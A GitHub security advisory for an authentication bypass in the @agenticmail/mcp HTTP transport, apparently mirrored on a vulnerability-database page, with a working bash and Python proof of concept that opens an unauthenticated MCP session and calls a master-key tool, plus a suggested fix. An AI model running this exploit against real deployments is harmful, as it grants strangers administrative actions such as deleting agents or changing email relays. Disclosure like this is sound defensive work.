GHSA-63GR-G7JC-V8RG
Vulnerability from github – Published: 2026-06-01 13:58 – Updated: 2026-06-01 13:58AgenticMail MCP HTTP authorization bypass
Summary
@agenticmail/mcp exposes a Streamable HTTP transport when started with
--http or MCP_HTTP=1. In that mode, the /mcp endpoint accepts requests
without any HTTP authentication layer. A remote client can initialize a
session and call tools directly.
The problem is that the MCP server also exposes tools documented as requiring
AGENTICMAIL_MASTER_KEY, and the server process forwards those calls using its
own configured master key. As a result, any client that can reach the MCP HTTP
port can invoke master-only operations without knowing the master key.
Impact
An unauthenticated network client can invoke master-key-only MCP tools through the server, including administrative and gateway actions.
Confirmed with a read-only tool:
setup_guide
The same path reaches higher-impact tools such as:
setup_email_relaysetup_email_domaindelete_agentcleanup_agentssend_test_email
Affected Code
packages/mcp/src/index.tspackages/mcp/src/tools.tspackages/mcp/README.md
Relevant observations:
packages/mcp/src/index.tsstarts an HTTP server for/mcpwithout checking an Authorization header.packages/mcp/src/tools.tsmarks gateway/admin tools as master-key tools and forwards them with the server-sideAGENTICMAIL_MASTER_KEY.packages/mcp/README.mddocuments that gateway/admin tools require the master key.
Reproduction
Use the bundled one-command PoC runner:
cd agenticmail
./scripts/run_agenticmail_mcp_http_unauth_poc.sh
Expected success output:
[+] received mcp-session-id without authentication: ...
[+] tools/call(setup_guide) HTTP status: 200
[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`
PoC Files
- scripts/run_agenticmail_mcp_http_unauth_poc.sh
- One-command wrapper that starts the API, starts MCP in HTTP mode, runs the client PoC, and cleans up background processes.
- scripts/agenticmail_mcp_http_unauth_poc.py
- Unauthenticated MCP client that sends
initializeand then callssetup_guide.
Inline PoC
The following PoC is non-destructive. It calls setup_guide, which is
documented as a master-key tool but only returns setup guidance.
scripts/run_agenticmail_mcp_http_unauth_poc.sh
#!/usr/bin/env bash
set -euo pipefail
REPO_DIR="."
POC="scripts/agenticmail_mcp_http_unauth_poc.py"
API_HOST="${API_HOST:-127.0.0.1}"
API_PORT="${API_PORT:-}"
MCP_PORT="${MCP_PORT:-}"
MASTER_KEY="${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}"
DATA_DIR="${AGENTICMAIL_DATA_DIR:-.poc-data}"
LOG_DIR="${LOG_DIR:-.poc-logs}"
mkdir -p "$DATA_DIR" "$LOG_DIR"
node_major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)"
if (( node_major < 20 )); then
echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2
exit 2
fi
find_free_port() {
python3 - <<'PY'
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind(("127.0.0.1", 0))
print(sock.getsockname()[1])
PY
}
[[ -n "$API_PORT" ]] || API_PORT="$(find_free_port)"
[[ -n "$MCP_PORT" ]] || MCP_PORT="$(find_free_port)"
api_pid=""
mcp_pid=""
cleanup() {
set +e
[[ -z "${mcp_pid:-}" ]] || kill "$mcp_pid" 2>/dev/null || true
[[ -z "${api_pid:-}" ]] || kill "$api_pid" 2>/dev/null || true
}
trap cleanup EXIT
wait_tcp() {
local host="$1"
local port="$2"
local name="$3"
for _ in $(seq 1 60); do
if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY'
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
try:
sock.connect((sys.argv[1], int(sys.argv[2])))
sys.exit(0)
except Exception:
sys.exit(1)
finally:
sock.close()
PY
then
echo "[+] $name is listening: $host:$port"
return 0
fi
sleep 1
done
echo "[-] Timed out waiting for $name: $host:$port" >&2
return 1
}
cd "$REPO_DIR"
echo "[+] Starting AgenticMail API on $API_HOST:$API_PORT"
(
export AGENTICMAIL_API_HOST="$API_HOST"
export AGENTICMAIL_API_PORT="$API_PORT"
export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
export AGENTICMAIL_DATA_DIR="$DATA_DIR"
npm run dev:api
) >"$LOG_DIR/api.log" 2>&1 &
api_pid="$!"
wait_tcp "$API_HOST" "$API_PORT" "AgenticMail API"
echo "[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT"
(
export AGENTICMAIL_API_URL="http://$API_HOST:$API_PORT"
export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
export AGENTICMAIL_DATA_DIR="$DATA_DIR"
npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP_PORT"
) >"$LOG_DIR/mcp.log" 2>&1 &
mcp_pid="$!"
wait_tcp "127.0.0.1" "$MCP_PORT" "AgenticMail MCP HTTP server"
echo "[+] Running unauthenticated MCP client PoC"
python3 "$POC" --url "http://127.0.0.1:$MCP_PORT/mcp"
scripts/agenticmail_mcp_http_unauth_poc.py
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import json
import sys
import urllib.error
import urllib.request
def post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]:
data = json.dumps(payload).encode("utf-8")
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
if session_id:
headers["mcp-session-id"] = session_id
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=15) as resp:
body = resp.read().decode("utf-8", errors="replace")
return resp.status, dict(resp.headers), body
except urllib.error.HTTPError as exc:
body = exc.read().decode("utf-8", errors="replace")
return exc.code, dict(exc.headers), body
def parse_sse_or_json(body: str) -> list[dict]:
events: list[dict] = []
stripped = body.strip()
if not stripped:
return events
if stripped.startswith("{") or stripped.startswith("["):
parsed = json.loads(stripped)
return parsed if isinstance(parsed, list) else [parsed]
for line in body.splitlines():
if not line.startswith("data:"):
continue
data = line[len("data:") :].strip()
if not data:
continue
try:
events.append(json.loads(data))
except json.JSONDecodeError:
pass
return events
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="http://127.0.0.1:8014/mcp")
parser.add_argument("--tool", default="setup_guide")
args = parser.parse_args()
init_payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {},
"clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"},
},
}
status, headers, body = post_json(args.url, init_payload)
print(f"[+] initialize HTTP status: {status}")
print(f"[+] initialize response body: {body[:500]}")
session_id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id")
if not session_id:
print("[-] No mcp-session-id header returned")
return 2
print(f"[+] received mcp-session-id without authentication: {session_id}")
post_json(args.url, {
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {},
}, session_id=session_id)
status, _headers, body = post_json(args.url, {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {"name": args.tool, "arguments": {}},
}, session_id=session_id)
print(f"[+] tools/call({args.tool}) HTTP status: {status}")
print("[+] raw response:")
print(body)
if any("result" in msg for msg in parse_sse_or_json(body)):
print(f"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`")
return 0
print("[-] Tool call did not return a result")
return 1
if __name__ == "__main__":
sys.exit(main())
Why This Is a Vulnerability
The project treats AGENTICMAIL_MASTER_KEY as the authorization boundary for
administrative and gateway operations. HTTP MCP mode removes the client-side
authentication boundary entirely, so an unauthenticated network client becomes
an indirect caller of master-only API functionality.
Suggested Fix
- Require authentication for HTTP MCP mode.
- Bind the MCP HTTP server to
127.0.0.1by default. - Reject
/mcprequests that lack a valid bearer token or shared secret. - Disable master-key tools when the transport is unauthenticated.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@agenticmail/mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-01T13:58:33Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# AgenticMail MCP HTTP authorization bypass\n\n## Summary\n\n`@agenticmail/mcp` exposes a Streamable HTTP transport when started with\n`--http` or `MCP_HTTP=1`. In that mode, the `/mcp` endpoint accepts requests\nwithout any HTTP authentication layer. A remote client can initialize a\nsession and call tools directly.\n\nThe problem is that the MCP server also exposes tools documented as requiring\n`AGENTICMAIL_MASTER_KEY`, and the server process forwards those calls using its\nown configured master key. As a result, any client that can reach the MCP HTTP\nport can invoke master-only operations without knowing the master key.\n\n## Impact\n\nAn unauthenticated network client can invoke master-key-only MCP tools through\nthe server, including administrative and gateway actions.\n\nConfirmed with a read-only tool:\n\n- `setup_guide`\n\nThe same path reaches higher-impact tools such as:\n\n- `setup_email_relay`\n- `setup_email_domain`\n- `delete_agent`\n- `cleanup_agents`\n- `send_test_email`\n\n## Affected Code\n\n- `packages/mcp/src/index.ts`\n- `packages/mcp/src/tools.ts`\n- `packages/mcp/README.md`\n\nRelevant observations:\n\n- `packages/mcp/src/index.ts` starts an HTTP server for `/mcp` without\n checking an Authorization header.\n- `packages/mcp/src/tools.ts` marks gateway/admin tools as master-key tools\n and forwards them with the server-side `AGENTICMAIL_MASTER_KEY`.\n- `packages/mcp/README.md` documents that gateway/admin tools require the\n master key.\n\n## Reproduction\n\nUse the bundled one-command PoC runner:\n\n```bash\ncd agenticmail\n./scripts/run_agenticmail_mcp_http_unauth_poc.sh\n```\n\nExpected success output:\n\n```text\n[+] received mcp-session-id without authentication: ...\n[+] tools/call(setup_guide) HTTP status: 200\n[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`\n```\n\n## PoC Files\n\n- [scripts/run_agenticmail_mcp_http_unauth_poc.sh](scripts/run_agenticmail_mcp_http_unauth_poc.sh)\n - One-command wrapper that starts the API, starts MCP in HTTP mode, runs the\n client PoC, and cleans up background processes.\n- [scripts/agenticmail_mcp_http_unauth_poc.py](scripts/agenticmail_mcp_http_unauth_poc.py)\n - Unauthenticated MCP client that sends `initialize` and then calls\n `setup_guide`.\n\n## Inline PoC\n\nThe following PoC is non-destructive. It calls `setup_guide`, which is\ndocumented as a master-key tool but only returns setup guidance.\n\n### `scripts/run_agenticmail_mcp_http_unauth_poc.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO_DIR=\".\"\nPOC=\"scripts/agenticmail_mcp_http_unauth_poc.py\"\n\nAPI_HOST=\"${API_HOST:-127.0.0.1}\"\nAPI_PORT=\"${API_PORT:-}\"\nMCP_PORT=\"${MCP_PORT:-}\"\nMASTER_KEY=\"${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}\"\nDATA_DIR=\"${AGENTICMAIL_DATA_DIR:-.poc-data}\"\nLOG_DIR=\"${LOG_DIR:-.poc-logs}\"\n\nmkdir -p \"$DATA_DIR\" \"$LOG_DIR\"\n\nnode_major=\"$(node -p \u0027Number(process.versions.node.split(\".\")[0])\u0027 2\u003e/dev/null || echo 0)\"\nif (( node_major \u003c 20 )); then\n echo \"[-] Node.js 20+ is required; current node is: $(node -v 2\u003e/dev/null || echo missing)\" \u003e\u00262\n exit 2\nfi\n\nfind_free_port() {\n python3 - \u003c\u003c\u0027PY\u0027\nimport socket\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n sock.bind((\"127.0.0.1\", 0))\n print(sock.getsockname()[1])\nPY\n}\n\n[[ -n \"$API_PORT\" ]] || API_PORT=\"$(find_free_port)\"\n[[ -n \"$MCP_PORT\" ]] || MCP_PORT=\"$(find_free_port)\"\n\napi_pid=\"\"\nmcp_pid=\"\"\ncleanup() {\n set +e\n [[ -z \"${mcp_pid:-}\" ]] || kill \"$mcp_pid\" 2\u003e/dev/null || true\n [[ -z \"${api_pid:-}\" ]] || kill \"$api_pid\" 2\u003e/dev/null || true\n}\ntrap cleanup EXIT\n\nwait_tcp() {\n local host=\"$1\"\n local port=\"$2\"\n local name=\"$3\"\n for _ in $(seq 1 60); do\n if python3 - \"$host\" \"$port\" \u003e/dev/null 2\u003e\u00261 \u003c\u003c\u0027PY\u0027\nimport socket\nimport sys\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(1)\ntry:\n sock.connect((sys.argv[1], int(sys.argv[2])))\n sys.exit(0)\nexcept Exception:\n sys.exit(1)\nfinally:\n sock.close()\nPY\n then\n echo \"[+] $name is listening: $host:$port\"\n return 0\n fi\n sleep 1\n done\n echo \"[-] Timed out waiting for $name: $host:$port\" \u003e\u00262\n return 1\n}\n\ncd \"$REPO_DIR\"\n\necho \"[+] Starting AgenticMail API on $API_HOST:$API_PORT\"\n(\n export AGENTICMAIL_API_HOST=\"$API_HOST\"\n export AGENTICMAIL_API_PORT=\"$API_PORT\"\n export AGENTICMAIL_MASTER_KEY=\"$MASTER_KEY\"\n export AGENTICMAIL_DATA_DIR=\"$DATA_DIR\"\n npm run dev:api\n) \u003e\"$LOG_DIR/api.log\" 2\u003e\u00261 \u0026\napi_pid=\"$!\"\nwait_tcp \"$API_HOST\" \"$API_PORT\" \"AgenticMail API\"\n\necho \"[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT\"\n(\n export AGENTICMAIL_API_URL=\"http://$API_HOST:$API_PORT\"\n export AGENTICMAIL_MASTER_KEY=\"$MASTER_KEY\"\n export AGENTICMAIL_DATA_DIR=\"$DATA_DIR\"\n npm --workspace=@agenticmail/mcp run dev -- --http \"--port=$MCP_PORT\"\n) \u003e\"$LOG_DIR/mcp.log\" 2\u003e\u00261 \u0026\nmcp_pid=\"$!\"\nwait_tcp \"127.0.0.1\" \"$MCP_PORT\" \"AgenticMail MCP HTTP server\"\n\necho \"[+] Running unauthenticated MCP client PoC\"\npython3 \"$POC\" --url \"http://127.0.0.1:$MCP_PORT/mcp\"\n```\n\n### `scripts/agenticmail_mcp_http_unauth_poc.py`\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport sys\nimport urllib.error\nimport urllib.request\n\n\ndef post_json(url: str, payload: dict, session_id: str | None = None) -\u003e tuple[int, dict, str]:\n data = json.dumps(payload).encode(\"utf-8\")\n headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n }\n if session_id:\n headers[\"mcp-session-id\"] = session_id\n\n req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=15) as resp:\n body = resp.read().decode(\"utf-8\", errors=\"replace\")\n return resp.status, dict(resp.headers), body\n except urllib.error.HTTPError as exc:\n body = exc.read().decode(\"utf-8\", errors=\"replace\")\n return exc.code, dict(exc.headers), body\n\n\ndef parse_sse_or_json(body: str) -\u003e list[dict]:\n events: list[dict] = []\n stripped = body.strip()\n if not stripped:\n return events\n if stripped.startswith(\"{\") or stripped.startswith(\"[\"):\n parsed = json.loads(stripped)\n return parsed if isinstance(parsed, list) else [parsed]\n for line in body.splitlines():\n if not line.startswith(\"data:\"):\n continue\n data = line[len(\"data:\") :].strip()\n if not data:\n continue\n try:\n events.append(json.loads(data))\n except json.JSONDecodeError:\n pass\n return events\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--url\", default=\"http://127.0.0.1:8014/mcp\")\n parser.add_argument(\"--tool\", default=\"setup_guide\")\n args = parser.parse_args()\n\n init_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2025-03-26\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"agenticmail-unauth-poc\", \"version\": \"0.1\"},\n },\n }\n\n status, headers, body = post_json(args.url, init_payload)\n print(f\"[+] initialize HTTP status: {status}\")\n print(f\"[+] initialize response body: {body[:500]}\")\n session_id = headers.get(\"mcp-session-id\") or headers.get(\"Mcp-Session-Id\")\n if not session_id:\n print(\"[-] No mcp-session-id header returned\")\n return 2\n print(f\"[+] received mcp-session-id without authentication: {session_id}\")\n\n post_json(args.url, {\n \"jsonrpc\": \"2.0\",\n \"method\": \"notifications/initialized\",\n \"params\": {},\n }, session_id=session_id)\n\n status, _headers, body = post_json(args.url, {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\"name\": args.tool, \"arguments\": {}},\n }, session_id=session_id)\n print(f\"[+] tools/call({args.tool}) HTTP status: {status}\")\n print(\"[+] raw response:\")\n print(body)\n\n if any(\"result\" in msg for msg in parse_sse_or_json(body)):\n print(f\"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`\")\n return 0\n\n print(\"[-] Tool call did not return a result\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\n## Why This Is a Vulnerability\n\nThe project treats `AGENTICMAIL_MASTER_KEY` as the authorization boundary for\nadministrative and gateway operations. HTTP MCP mode removes the client-side\nauthentication boundary entirely, so an unauthenticated network client becomes\nan indirect caller of master-only API functionality.\n\n\n## Suggested Fix\n\n- Require authentication for HTTP MCP mode.\n- Bind the MCP HTTP server to `127.0.0.1` by default.\n- Reject `/mcp` requests that lack a valid bearer token or shared secret.\n- Disable master-key tools when the transport is unauthenticated.",
"id": "GHSA-63gr-g7jc-v8rg",
"modified": "2026-06-01T13:58:33Z",
"published": "2026-06-01T13:58:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/security/advisories/GHSA-63gr-g7jc-v8rg"
},
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/commit/7b9b05d973676e9f3d097c08b8e649f59bfc15d0"
},
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/commit/7d1791da7c8c8bd4e70d7081db48e18ab55f6736"
},
{
"type": "PACKAGE",
"url": "https://github.com/agenticmail/agenticmail"
},
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/CHANGELOG.md?plain=1#L10"
},
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/packages/mcp/README.md?plain=1#L13"
},
{
"type": "WEB",
"url": "https://github.com/agenticmail/agenticmail/blob/7b9b05d973676e9f3d097c08b8e649f59bfc15d0/packages/mcp/src/index.ts#L311"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "@agenticmail/mcp Missing Authentication for Critical Function"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.